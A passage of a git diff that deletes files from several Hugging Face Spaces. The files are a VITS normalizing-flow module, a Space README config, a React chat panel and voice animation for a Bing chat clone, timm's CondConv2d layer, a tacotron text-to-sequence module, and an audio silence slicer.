-        kernel_size,
-        dilation_rate,
-        n_layers,
-        p_dropout=0,
-        gin_channels=0,
-        mean_only=False,
-    ):
-        assert channels % 2 == 0, "channels should be divisible by 2"
-        super().__init__()
-        self.channels = channels
-        self.hidden_channels = hidden_channels
-        self.kernel_size = kernel_size
-        self.dilation_rate = dilation_rate
-        self.n_layers = n_layers
-        self.half_channels = channels // 2
-        self.mean_only = mean_only
-
-        self.pre = nn.Conv1d(self.half_channels, hidden_channels, 1)
-        self.enc = WN(
-            hidden_channels,
-            kernel_size,
-            dilation_rate,
-            n_layers,
-            p_dropout=p_dropout,
-            gin_channels=gin_channels,
-        )
-        self.post = nn.Conv1d(hidden_channels, self.half_channels * (2 - mean_only), 1)
-        self.post.weight.data.zero_()
-        self.post.bias.data.zero_()
-
-    def forward(self, x, x_mask, g=None, reverse=False):
-        x0, x1 = torch.split(x, [self.half_channels] * 2, 1)
-        h = self.pre(x0) * x_mask
-        h = self.enc(h, x_mask, g=g)
-        stats = self.post(h) * x_mask
-        if not self.mean_only:
-            m, logs = torch.split(stats, [self.half_channels] * 2, 1)
-        else:
-            m = stats
-            logs = torch.zeros_like(m)
-
-        if not reverse:
-            x1 = m + x1 * torch.exp(logs) * x_mask
-            x = torch.cat([x0, x1], 1)
-            logdet = torch.sum(logs, [1, 2])
-            return x, logdet
-        else:
-            x1 = (x1 - m) * torch.exp(-logs) * x_mask
-            x = torch.cat([x0, x1], 1)
-            return x
-
-    def remove_weight_norm(self):
-        self.enc.remove_weight_norm()
-
-
-class ConvFlow(nn.Module):
-    def __init__(
-        self,
-        in_channels,
-        filter_channels,
-        kernel_size,
-        n_layers,
-        num_bins=10,
-        tail_bound=5.0,
-    ):
-        super().__init__()
-        self.in_channels = in_channels
-        self.filter_channels = filter_channels
-        self.kernel_size = kernel_size
-        self.n_layers = n_layers
-        self.num_bins = num_bins
-        self.tail_bound = tail_bound
-        self.half_channels = in_channels // 2
-
-        self.pre = nn.Conv1d(self.half_channels, filter_channels, 1)
-        self.convs = DDSConv(filter_channels, kernel_size, n_layers, p_dropout=0.0)
-        self.proj = nn.Conv1d(
-            filter_channels, self.half_channels * (num_bins * 3 - 1), 1
-        )
-        self.proj.weight.data.zero_()
-        self.proj.bias.data.zero_()
-
-    def forward(self, x, x_mask, g=None, reverse=False):
-        x0, x1 = torch.split(x, [self.half_channels] * 2, 1)
-        h = self.pre(x0)
-        h = self.convs(h, x_mask, g=g)
-        h = self.proj(h) * x_mask
-
-        b, c, t = x0.shape
-        h = h.reshape(b, c, -1, t).permute(0, 1, 3, 2)  # [b, cx?, t] -> [b, c, t, ?]
-
-        unnormalized_widths = h[..., : self.num_bins] / math.sqrt(self.filter_channels)
-        unnormalized_heights = h[..., self.num_bins : 2 * self.num_bins] / math.sqrt(
-            self.filter_channels
-        )
-        unnormalized_derivatives = h[..., 2 * self.num_bins :]
-
-        x1, logabsdet = piecewise_rational_quadratic_transform(
-            x1,
-            unnormalized_widths,
-            unnormalized_heights,
-            unnormalized_derivatives,
-            inverse=reverse,
-            tails="linear",
-            tail_bound=self.tail_bound,
-        )
-
-        x = torch.cat([x0, x1], 1) * x_mask
-        logdet = torch.sum(logabsdet * x_mask, [1, 2])
-        if not reverse:
-            return x, logdet
-        else:
-            return x
diff --git a/spaces/zahadneokurkycz/sd-img-generator/README.md b/spaces/zahadneokurkycz/sd-img-generator/README.md
deleted file mode 100644
index b16c1ea95219033769e76a82ff33ced1f7211e00..0000000000000000000000000000000000000000
--- a/spaces/zahadneokurkycz/sd-img-generator/README.md
+++ /dev/null
@@ -1,12 +0,0 @@
----
-title: sd-img-generator
-emoji: 💻
-colorFrom: red
-colorTo: green
-sdk: gradio
-sdk_version: 3.18.0
-app_file: app.py
-pinned: true
----
-
-Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference
\ No newline at end of file
diff --git a/spaces/zhangyd/bingo/src/components/chat-panel.tsx b/spaces/zhangyd/bingo/src/components/chat-panel.tsx
deleted file mode 100644
index 1fbc3c2bf05b914e0c229661832fbb560745f488..0000000000000000000000000000000000000000
--- a/spaces/zhangyd/bingo/src/components/chat-panel.tsx
+++ /dev/null
@@ -1,153 +0,0 @@
-'use client'
-
-import * as React from 'react'
-import Image from 'next/image'
-import Textarea from 'react-textarea-autosize'
-import { useAtomValue } from 'jotai'
-import { useEnterSubmit } from '@/lib/hooks/use-enter-submit'
-import { cn } from '@/lib/utils'
-
-import BrushIcon from '@/assets/images/brush.svg'
-import ChatIcon from '@/assets/images/chat.svg'
-import VisualSearchIcon from '@/assets/images/visual-search.svg'
-import SendIcon from '@/assets/images/send.svg'
-import PinIcon from '@/assets/images/pin.svg'
-import PinFillIcon from '@/assets/images/pin-fill.svg'
-
-import { useBing } from '@/lib/hooks/use-bing'
-import { voiceListenAtom } from '@/state'
-import Voice from './voice'
-import { ChatImage } from './chat-image'
-import { ChatAttachments } from './chat-attachments'
-
-export interface ChatPanelProps
-  extends Pick<
-    ReturnType<typeof useBing>,
-    | 'generating'
-    | 'input'
-    | 'setInput'
-    | 'sendMessage'
-    | 'resetConversation'
-    | 'isSpeaking'
-    | 'attachmentList'
-    | 'uploadImage'
-    | 'setAttachmentList'
-  > {
-  id?: string
-  className?: string
-}
-
-export function ChatPanel({
-  isSpeaking,
-  generating,
-  input,
-  setInput,
-  className,
-  sendMessage,
-  resetConversation,
-  attachmentList,
-  uploadImage,
-  setAttachmentList
-}: ChatPanelProps) {
-  const inputRef = React.useRef<HTMLTextAreaElement>(null)
-  const {formRef, onKeyDown} = useEnterSubmit()
-  const [focused, setFocused] = React.useState(false)
-  const [active, setActive] = React.useState(false)
-  const [pin, setPin] = React.useState(false)
-  const [tid, setTid] = React.useState<any>()
-  const voiceListening = useAtomValue(voiceListenAtom)
-
-  const setBlur = React.useCallback(() => {
-    clearTimeout(tid)
-    setActive(false)
-    const _tid = setTimeout(() => setFocused(false), 2000);
-    setTid(_tid)
-  }, [tid])
-
-  const setFocus = React.useCallback(() => {
-    setFocused(true)
-    setActive(true)
-    clearTimeout(tid)
-    inputRef.current?.focus()
-  }, [tid])
-
-  React.useEffect(() => {
-    if (input) {
-      setFocus()
-    }
-  }, [input])
-
-  return (
-    <form
-      className={cn('chat-panel', className)}
-      onSubmit={async e => {
-        e.preventDefault()
-        if (generating) {
-          return;
-        }
-        if (!input?.trim()) {
-          return
-        }
-        setInput('')
-        setPin(false)
-        await sendMessage(input)
-      }}
-      ref={formRef}
-    >
-      <div className="action-bar pb-4">
-        <div className={cn('action-root', { focus: active || pin })} speech-state="hidden" visual-search="" drop-target="">
-          <div className="fade bottom">
-            <div className="background"></div>
-          </div>
-          <div className={cn('outside-left-container', { collapsed: focused })}>
-            <div className="button-compose-wrapper">
-              <button className="body-2 button-compose" type="button" aria-label="新主题" onClick={resetConversation}>
-                <div className="button-compose-content">
-                  <Image className="pl-2" alt="brush" src={BrushIcon} width={40} />
-                  <div className="button-compose-text">新主题</div>
-                </div>
-              </button>
-            </div>
-          </div>
-          <div
-            className={cn('main-container', { active: active || pin })}
-            style={{ minHeight: pin ? '360px' : undefined }}
-            onClick={setFocus}
-            onBlur={setBlur}
-          >
-            <div className="main-bar">
-              <Image alt="chat" src={ChatIcon} width={20} color="blue" />
-              <Textarea
-                ref={inputRef}
-                tabIndex={0}
-                onKeyDown={onKeyDown}
-                rows={1}
-                value={input}
-                onChange={e => setInput(e.target.value.slice(0, 4000))}
-                placeholder={voiceListening ? '持续对话中...对话完成说“发送”即可' : 'Shift + Enter 换行'}
-                spellCheck={false}
-                className="message-input min-h-[24px] -mx-1 w-full text-base resize-none bg-transparent focus-within:outline-none"
-              />
-              <ChatImage uploadImage={uploadImage}>
-                <Image alt="visual-search" src={VisualSearchIcon} width={24} />
-              </ChatImage>
-              <Voice setInput={setInput} sendMessage={sendMessage} isSpeaking={isSpeaking} input={input} />
-              <button type="submit">
-                <Image alt="send" src={SendIcon} width={20} style={{ marginTop: '2px' }} />
-              </button>
-            </div>
-            <ChatAttachments attachmentList={attachmentList} setAttachmentList={setAttachmentList} uploadImage={uploadImage} />
-            <div className="body-1 bottom-bar">
-              <div className="letter-counter"><span>{input.length}</span>/4000</div>
-              <button onClick={() => {
-                setPin(!pin)
-              }} className="pr-2">
-               <Image alt="pin" src={pin ? PinFillIcon : PinIcon} width={20} />
-              </button>
-            </div>
-          </div>
-        </div>
-      </div>
-    </form>
-  )
-}
diff --git a/spaces/zhoupin30/zhoupin30/src/components/ui/voice/index.tsx b/spaces/zhoupin30/zhoupin30/src/components/ui/voice/index.tsx
deleted file mode 100644
index 4adcb632226bfced8b97092782811edf08b56569..0000000000000000000000000000000000000000
--- a/spaces/zhoupin30/zhoupin30/src/components/ui/voice/index.tsx
+++ /dev/null
@@ -1,28 +0,0 @@
-import './index.scss'
-
-export interface VoiceProps extends CSSPropertyRule {
-  num?: number;
-  duration?: number;
-}
-export default function Voice({ duration = 400, num = 7, ...others }) {
-  return (
-    <div className="voice-button" { ...others }>
-      {Array.from({ length: num }).map((_, index) => {
-        const randomDuration = Math.random() * 100 + duration
-        const initialDelay = Math.random() * 2 * duration
-        const initialScale = Math.sin((index + 1) * Math.PI / num)
-        return (
-          <div
-            className="voice-button-item"
-            key={index}
-            style={{
-              animationDelay: initialDelay + 'ms',
-              animationDuration: randomDuration + 'ms',
-              transform: `scale(${initialScale})`
-            }}
-          />
-        )
-      })}
-    </div>
-  )
-}
diff --git a/spaces/zideliu/styledrop/timm/models/layers/cond_conv2d.py b/spaces/zideliu/styledrop/timm/models/layers/cond_conv2d.py
deleted file mode 100644
index 8b4bbca84d6f12e0fb875b4edb435b976fc649d6..0000000000000000000000000000000000000000
--- a/spaces/zideliu/styledrop/timm/models/layers/cond_conv2d.py
+++ /dev/null
@@ -1,122 +0,0 @@
-""" PyTorch Conditionally Parameterized Convolution (CondConv)
-
-Paper: CondConv: Conditionally Parameterized Convolutions for Efficient Inference
-(https://arxiv.org/abs/1904.04971)
-
-Hacked together by / Copyright 2020 Ross Wightman
-"""
-
-import math
-from functools import partial
-import numpy as np
-import torch
-from torch import nn as nn
-from torch.nn import functional as F
-
-from .helpers import to_2tuple
-from .conv2d_same import conv2d_same
-from .padding import get_padding_value
-
-
-def get_condconv_initializer(initializer, num_experts, expert_shape):
-    def condconv_initializer(weight):
-        """CondConv initializer function."""
-        num_params = np.prod(expert_shape)
-        if (len(weight.shape) != 2 or weight.shape[0] != num_experts or
-                weight.shape[1] != num_params):
-            raise (ValueError(
-                'CondConv variables must have shape [num_experts, num_params]'))
-        for i in range(num_experts):
-            initializer(weight[i].view(expert_shape))
-    return condconv_initializer
-
-
-class CondConv2d(nn.Module):
-    """ Conditionally Parameterized Convolution
-    Inspired by: https://github.com/tensorflow/tpu/blob/master/models/official/efficientnet/condconv/condconv_layers.py
-
-    Grouped convolution hackery for parallel execution of the per-sample kernel filters inspired by this discussion:
-    https://github.com/pytorch/pytorch/issues/17983
-    """
-    __constants__ = ['in_channels', 'out_channels', 'dynamic_padding']
-
-    def __init__(self, in_channels, out_channels, kernel_size=3,
-                 stride=1, padding='', dilation=1, groups=1, bias=False, num_experts=4):
-        super(CondConv2d, self).__init__()
-
-        self.in_channels = in_channels
-        self.out_channels = out_channels
-        self.kernel_size = to_2tuple(kernel_size)
-        self.stride = to_2tuple(stride)
-        padding_val, is_padding_dynamic = get_padding_value(
-            padding, kernel_size, stride=stride, dilation=dilation)
-        self.dynamic_padding = is_padding_dynamic  # if in forward to work with torchscript
-        self.padding = to_2tuple(padding_val)
-        self.dilation = to_2tuple(dilation)
-        self.groups = groups
-        self.num_experts = num_experts
-
-        self.weight_shape = (self.out_channels, self.in_channels // self.groups) + self.kernel_size
-        weight_num_param = 1
-        for wd in self.weight_shape:
-            weight_num_param *= wd
-        self.weight = torch.nn.Parameter(torch.Tensor(self.num_experts, weight_num_param))
-
-        if bias:
-            self.bias_shape = (self.out_channels,)
-            self.bias = torch.nn.Parameter(torch.Tensor(self.num_experts, self.out_channels))
-        else:
-            self.register_parameter('bias', None)
-
-        self.reset_parameters()
-
-    def reset_parameters(self):
-        init_weight = get_condconv_initializer(
-            partial(nn.init.kaiming_uniform_, a=math.sqrt(5)), self.num_experts, self.weight_shape)
-        init_weight(self.weight)
-        if self.bias is not None:
-            fan_in = np.prod(self.weight_shape[1:])
-            bound = 1 / math.sqrt(fan_in)
-            init_bias = get_condconv_initializer(
-                partial(nn.init.uniform_, a=-bound, b=bound), self.num_experts, self.bias_shape)
-            init_bias(self.bias)
-
-    def forward(self, x, routing_weights):
-        B, C, H, W = x.shape
-        weight = torch.matmul(routing_weights, self.weight)
-        new_weight_shape = (B * self.out_channels, self.in_channels // self.groups) + self.kernel_size
-        weight = weight.view(new_weight_shape)
-        bias = None
-        if self.bias is not None:
-            bias = torch.matmul(routing_weights, self.bias)
-            bias = bias.view(B * self.out_channels)
-        # move batch elements with channels so each batch element can be efficiently convolved with separate kernel
-        x = x.view(1, B * C, H, W)
-        if self.dynamic_padding:
-            out = conv2d_same(
-                x, weight, bias, stride=self.stride, padding=self.padding,
-                dilation=self.dilation, groups=self.groups * B)
-        else:
-            out = F.conv2d(
-                x, weight, bias, stride=self.stride, padding=self.padding,
-                dilation=self.dilation, groups=self.groups * B)
-        out = out.permute([1, 0, 2, 3]).view(B, self.out_channels, out.shape[-2], out.shape[-1])
-
-        # Literal port (from TF definition)
-        # x = torch.split(x, 1, 0)
-        # weight = torch.split(weight, 1, 0)
-        # if self.bias is not None:
-        #     bias = torch.matmul(routing_weights, self.bias)
-        #     bias = torch.split(bias, 1, 0)
-        # else:
-        #     bias = [None] * B
-        # out = []
-        # for xi, wi, bi in zip(x, weight, bias):
-        #     wi = wi.view(*self.weight_shape)
-        #     if bi is not None:
-        #         bi = bi.view(*self.bias_shape)
-        #     out.append(self.conv_fn(
-        #         xi, wi, bi, stride=self.stride, padding=self.padding,
-        #         dilation=self.dilation, groups=self.groups))
-        # out = torch.cat(out, 0)
-        return out
diff --git a/spaces/zjxchina/vits_seki/text/__init__.py b/spaces/zjxchina/vits_seki/text/__init__.py
deleted file mode 100644
index ca9e5f94bf99099eaf7fcb984808d3f0d9155b41..0000000000000000000000000000000000000000
--- a/spaces/zjxchina/vits_seki/text/__init__.py
+++ /dev/null
@@ -1,72 +0,0 @@
-""" from https://github.com/keithito/tacotron """
-from text import cleaners
-from text.symbols import symbols_en, symbols_en_1, symbols_cmn, symbols_ce
-
-class SymbolsManager:
-  def __init__(self, symbols):
-    self.symbols = symbols
-    # Mappings from symbol to numeric ID and vice versa:
-    self._symbol_to_id = {s: i for i, s in enumerate(symbols)}
-    self._id_to_symbol = {i: s for i, s in enumerate(symbols)}
-
-    # Special symbol ids
-    self.SPACE_ID = symbols.index(" ")
-
-def create_symbols_manager(language):
-  if language == 'cmn':
-    symbols_manager = SymbolsManager(symbols_cmn)
-  elif language == 'ce':
-    symbols_manager = SymbolsManager(symbols_ce)
-  elif language == 'en':
-    symbols_manager = SymbolsManager(symbols_en_1)
-  elif language == 'default':
-    symbols_manager = SymbolsManager(symbols_en)
-  else:
-    symbols_manager = SymbolsManager(symbols_en)
-
-  return symbols_manager
-
-def text_to_sequence(text, cleaner_names, symbol_to_id):
-  '''Converts a string of text to a sequence of IDs corresponding to the symbols in the text.
-    Args:
-      text: string to convert to a sequence
-      cleaner_names: names of the cleaner functions to run the text through
-    Returns:
-      List of integers corresponding to the symbols in the text
-  '''
-  sequence = []
-
-  clean_text = _clean_text(text, cleaner_names)
-  for symbol in clean_text:
-    symbol_id = symbol_to_id[symbol]
-    sequence += [symbol_id]
-  return sequence
-
-
-def cleaned_text_to_sequence(cleaned_text, symbol_to_id):
-  '''Converts a string of text to a sequence of IDs corresponding to the symbols in the text.
-    Args:
-      text: string to convert to a sequence
-    Returns:
-      List of integers corresponding to the symbols in the text
-  '''
-  sequence = [symbol_to_id[symbol] for symbol in cleaned_text]
-  return sequence
-
-
-def sequence_to_text(sequence, id_to_symbol):
-  '''Converts a sequence of IDs back to a string'''
-  result = ''
-  for symbol_id in sequence:
-    s = id_to_symbol[symbol_id]
-    result += s
-  return result
-
-
-def _clean_text(text, cleaner_names):
-  for name in cleaner_names:
-    cleaner = getattr(cleaners, name)
-    if not cleaner:
-      raise Exception('Unknown cleaner: %s' % name)
-    text = cleaner(text)
-  return text
diff --git a/spaces/zomehwh/sovits-teio/inference/slicer.py b/spaces/zomehwh/sovits-teio/inference/slicer.py
deleted file mode 100644
index b05840bcf6bdced0b6e2adbecb1a1dd5b3dee462..0000000000000000000000000000000000000000
--- a/spaces/zomehwh/sovits-teio/inference/slicer.py
+++ /dev/null
@@ -1,142 +0,0 @@
-import librosa
-import torch
-import torchaudio
-
-
-class Slicer:
-    def __init__(self,
-                 sr: int,
-                 threshold: float = -40.,
-                 min_length: int = 5000,
-                 min_interval: int = 300,
-                 hop_size: int = 20,
-                 max_sil_kept: int = 5000):
-        if not min_length >= min_interval >= hop_size:
-            raise ValueError('The following condition must be satisfied: min_length >= min_interval >= hop_size')
-        if not max_sil_kept >= hop_size:
-            raise ValueError('The following condition must be satisfied: max_sil_kept >= hop_size')
-        min_interval = sr * min_interval / 1000
-        self.threshold = 10 ** (threshold / 20.)
-        self.hop_size = round(sr * hop_size / 1000)
-        self.win_size = min(round(min_interval), 4 * self.hop_size)
-        self.min_length = round(sr * min_length / 1000 / self.hop_size)
-        self.min_interval = round(min_interval / self.hop_size)
-        self.max_sil_kept = round(sr * max_sil_kept / 1000 / self.hop_size)
-
-    def _apply_slice(self, waveform, begin, end):
-        if len(waveform.shape) > 1:
-            return waveform[:, begin * self.hop_size: min(waveform.shape[1], end * self.hop_size)]
-        else:
-            return waveform[begin * self.hop_size: min(waveform.shape[0], end * self.hop_size)]
-
-    # @timeit
-    def slice(self, waveform):
-        if len(waveform.shape) > 1:
-            samples = librosa.to_mono(waveform)
-        else:
-            samples = waveform
-        if samples.shape[0] <= self.min_length:
-            return {"0": {"slice": False, "split_time": f"0,{len(waveform)}"}}
-        rms_list = librosa.feature.rms(y=samples, frame_length=self.win_size, hop_length=self.hop_size).squeeze(0)
-        sil_tags = []
-        silence_start = None
-        clip_start = 0
-        for i, rms in enumerate(rms_list):
-            # Keep looping while frame is silent.
-            if rms < self.threshold:
-                # Record start of silent frames.
-                if silence_start is None:
-                    silence_start = i
-                continue
-            # Keep looping while frame is not silent and silence start has not been recorded.
-            if silence_start is None:
-                continue
-            # Clear recorded silence start if interval is not enough or clip is too short
-            is_leading_silence = silence_start == 0 and i > self.max_sil_kept
-            need_slice_middle = i - silence_start >= self.min_interval and i - clip_start >= self.min_length
-            if not is_leading_silence and not need_slice_middle:
-                silence_start = None
-                continue
-            # Need slicing. Record the range of silent frames to be removed.
-            if i - silence_start <= self.max_sil_kept:
-                pos = rms_list[silence_start: i + 1].argmin() + silence_start
-                if silence_start == 0:
-                    sil_tags.append((0, pos))
-                else:
-                    sil_tags.append((pos, pos))
-                clip_start = pos
-            elif i - silence_start <= self.max_sil_kept * 2:
-                pos = rms_list[i - self.max_sil_kept: silence_start + self.max_sil_kept + 1].argmin()
-                pos += i - self.max_sil_kept
-                pos_l = rms_list[silence_start: silence_start + self.max_sil_kept + 1].argmin() + silence_start
-                pos_r = rms_list[i - self.max_sil_kept: i + 1].argmin() + i - self.max_sil_kept
-                if silence_start == 0:
-                    sil_tags.append((0, pos_r))
-                    clip_start = pos_r
-                else:
-                    sil_tags.append((min(pos_l, pos), max(pos_r, pos)))
-                    clip_start = max(pos_r, pos)
-            else:
-                pos_l = rms_list[silence_start: silence_start + self.max_sil_kept + 1].argmin() + silence_start
-                pos_r = rms_list[i - self.max_sil_kept: i + 1].argmin() + i - self.max_sil_kept
-                if silence_start == 0:
-                    sil_tags.append((0, pos_r))
-                else:
-                    sil_tags.append((pos_l, pos_r))
-                clip_start = pos_r
-            silence_start = None
-        # Deal with trailing silence.
-        total_frames = rms_list.shape[0]
-        if silence_start is not None and total_frames - silence_start >= self.min_interval:
-            silence_end = min(total_frames, silence_start + self.max_sil_kept)
-            pos = rms_list[silence_start: silence_end + 1].argmin() + silence_start
-            sil_tags.append((pos, total_frames + 1))
-        # Apply and return slices.
-        if len(sil_tags) == 0:
-            return {"0": {"slice": False, "split_time": f"0,{len(waveform)}"}}
-        else:
-            chunks = []
-            # 第一段静音并非从头开始，补上有声片段
-            if sil_tags[0][0]:
-                chunks.append(
-                    {"slice": False, "split_time": f"0,{min(waveform.shape[0], sil_tags[0][0] * self.hop_size)}"})
-            for i in range(0, len(sil_tags)):
-                # 标识有声片段（跳过第一段）
-                if i:
-                    chunks.append({"slice": False,
-                                   "split_time": f"{sil_tags[i - 1][1] * self.hop_size},{min(waveform.shape[0], sil_tags[i][0] * self.hop_size)}"})
-                # 标识所有静音片段
-                chunks.append({"slice": True,
-                               "split_time": f"{sil_tags[i][0] * self.hop_size},{min(waveform.shape[0], sil_tags[i][1] * self.hop_size)}"})
-            # 最后一段静音并非结尾，补上结尾片段
-            if sil_tags[-1][1] * self.hop_size < len(waveform):
-                chunks.append({"slice": False, "split_time": f"{sil_tags[-1][1] * self.hop_size},{len(waveform)}"})
-            chunk_dict = {}
-            for i in range(len(chunks)):
-                chunk_dict[str(i)] = chunks[i]
-            return chunk_dict
-
-
-def cut(audio_path, db_thresh=-30, min_len=5000):
-    audio, sr = librosa.load(audio_path, sr=None)
-    slicer = Slicer(
-        sr=sr,
-        threshold=db_thresh,
-        min_length=min_len
-    )
-    chunks = slicer.slice(audio)
-    return chunks
-
-
-def chunks2audio(audio_path, chunks):
-    chunks = dict(chunks)
-    audio, sr = torchaudio.load(audio_path)
-    if len(audio.shape) == 2 and audio.shape[1] >= 2:
-        audio = torch.mean(audio, dim=0).unsqueeze(0)
-    audio = audio.cpu().numpy()[0]
-    result = []
-    for k, v in chunks.items():
-        tag = v["split_time"].split(",")
-        if tag[0] != tag[1]:
-            result.append((v["slice"], audio[int(tag[0]):int(tag[1])]))
-    return result, sr